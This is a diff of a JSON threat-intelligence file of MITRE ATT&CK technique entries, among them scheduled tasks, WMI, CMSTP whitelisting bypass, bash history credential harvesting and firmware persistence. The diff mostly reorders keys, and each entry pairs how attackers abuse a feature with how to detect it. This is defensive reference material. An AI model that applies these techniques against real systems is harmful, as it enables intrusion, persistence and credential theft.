+ "Process monitoring"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1127",
"http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
@@ -659,28 +668,14 @@
"https://twitter.com/subTee/status/793151392185589760",
"https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
"https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
- ],
- "external_id": "T1127",
- "kill_chain": [
- "mitre-attack:enterprise-attack:defense-evasion",
- "mitre-attack:enterprise-attack:execution"
- ],
- "mitre_data_sources": [
- "Process monitoring"
- ],
- "mitre_platforms": [
- "Windows"
]
},
- "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b"
+ "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
+ "value": "Trusted Developer Utilities - T1127"
},
{
"description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
- "value": "System Network Configuration Discovery - T1016",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1016"
- ],
"external_id": "T1016",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -693,22 +688,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1016"
]
},
- "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0"
+ "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "value": "System Network Configuration Discovery - T1016"
},
{
"description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM, User\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security",
- "value": "Scheduled Task - T1053",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1053",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "https://technet.microsoft.com/library/dd315590.aspx",
- "https://technet.microsoft.com/en-us/library/cc785125.aspx",
- "https://twitter.com/leoloobeek/status/939248813465853953"
- ],
"external_id": "T1053",
"kill_chain": [
"mitre-attack:enterprise-attack:execution",
@@ -723,17 +713,22 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1053",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
+ "https://technet.microsoft.com/library/dd315590.aspx",
+ "https://technet.microsoft.com/en-us/library/cc785125.aspx",
+ "https://twitter.com/leoloobeek/status/939248813465853953"
]
},
- "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9"
+ "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+ "value": "Scheduled Task - T1053"
},
{
"description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
- "value": "Trap - T1154",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1154"
- ],
"external_id": "T1154",
"kill_chain": [
"mitre-attack:enterprise-attack:execution",
@@ -747,21 +742,17 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1154"
]
},
- "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6"
+ "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
+ "value": "Trap - T1154"
},
{
"description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
- "value": "Windows Management Instrumentation - T1047",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1047",
- "https://en.wikipedia.org/wiki/Server%20Message%20Block",
- "https://technet.microsoft.com/en-us/library/cc787851.aspx",
- "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
- ],
"external_id": "T1047",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -774,24 +765,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1047",
+ "https://en.wikipedia.org/wiki/Server%20Message%20Block",
+ "https://technet.microsoft.com/en-us/library/cc787851.aspx",
+ "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
]
},
- "uuid": "01a5a209-b94c-450b-b7f9-946497d91055"
+ "uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "value": "Windows Management Instrumentation - T1047"
},
{
"description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\n\nDetection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nMonitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers, API monitoring\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive\n\nContributors: Red Canary",
- "value": "NTFS File Attributes - T1096",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1096",
- "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
- "http://msdn.microsoft.com/en-us/library/aa364404",
- "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
- "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
- "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
- "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
- "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
- ],
"external_id": "T1096",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -803,20 +791,24 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1096",
+ "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
+ "http://msdn.microsoft.com/en-us/library/aa364404",
+ "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
+ "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
+ "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
+ "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
+ "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
]
},
- "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d"
+ "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d",
+ "value": "NTFS File Attributes - T1096"
},
{
"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for Redundant Access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)\n\nDetection: Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\nDomain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Network intrusion detection system, Network protocol analysis, Process use of network, Process Monitoring\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall",
- "value": "Remote Access Tools - T1219",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1219",
- "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
- "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
- "https://blog.crysys.hu/2013/03/teamspy/"
- ],
"external_id": "T1219",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -831,18 +823,20 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1219",
+ "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
+ "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
+ "https://blog.crysys.hu/2013/03/teamspy/"
]
},
- "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7"
+ "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
+ "value": "Remote Access Tools - T1219"
},
{
"description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
- "value": "Bash History - T1139",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1139",
- "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
- ],
"external_id": "T1139",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -855,17 +849,18 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1139",
+ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
]
},
- "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8"
+ "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8",
+ "value": "Bash History - T1139"
},
{
"description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the ps command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
- "value": "Process Discovery - T1057",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1057"
- ],
"external_id": "T1057",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -878,25 +873,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1057"
]
},
- "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580"
+ "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "value": "Process Discovery - T1057"
},
{
"description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee",
- "value": "System Firmware - T1019",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1019",
- "https://en.wikipedia.org/wiki/BIOS",
- "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface",
- "http://www.uefi.org/about",
- "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
- "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
- "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
- "https://github.com/chipsec/chipsec",
- "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
- ],
"external_id": "T1019",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -908,19 +895,25 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1019",
+ "https://en.wikipedia.org/wiki/BIOS",
+ "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface",
+ "http://www.uefi.org/about",
+ "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
+ "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
+ "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
+ "https://github.com/chipsec/chipsec",
+ "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
]
},
- "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3"
+ "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3",
+ "value": "System Firmware - T1019"
},
{
"description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
- "value": "Registry Run Keys / Start Folder - T1060",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1060",
- "http://msdn.microsoft.com/en-us/library/aa376977",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"external_id": "T1060",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -931,17 +924,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1060",
+ "http://msdn.microsoft.com/en-us/library/aa376977",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
- "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc"
+ "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc",
+ "value": "Registry Run Keys / Start Folder - T1060"
},
{
"description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
- "value": "Service Execution - T1035",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1035"
- ],
"external_id": "T1035",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -953,18 +948,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1035"
]
},
- "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392"
+ "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392",
+ "value": "Service Execution - T1035"
},
{
"description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
- "value": "Uncommonly Used Port - T1065",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1065",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1065",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -978,22 +972,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1065",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0"
+ "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0",
+ "value": "Uncommonly Used Port - T1065"
},
{
"description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
- "value": "CMSTP - T1191",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1191",
- "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
- "https://twitter.com/ItsReallyNick/status/958789644165894146",
- "https://msitpros.com/?p=3960",
- "https://twitter.com/NickTyrer/status/958450014111633408",
- "https://github.com/api0cradle/UltimateAppLockerByPassList"
- ],
"external_id": "T1191",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -1005,21 +995,22 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1191",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
+ "https://twitter.com/ItsReallyNick/status/958789644165894146",
+ "https://msitpros.com/?p=3960",
+ "https://twitter.com/NickTyrer/status/958450014111633408",
+ "https://github.com/api0cradle/UltimateAppLockerByPassList"
]
},
- "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3"
+ "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3",
+ "value": "CMSTP - T1191"
},
{
"description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.\n\nDetection: Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before Rundll32 is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter Rundll32 command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n*Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe 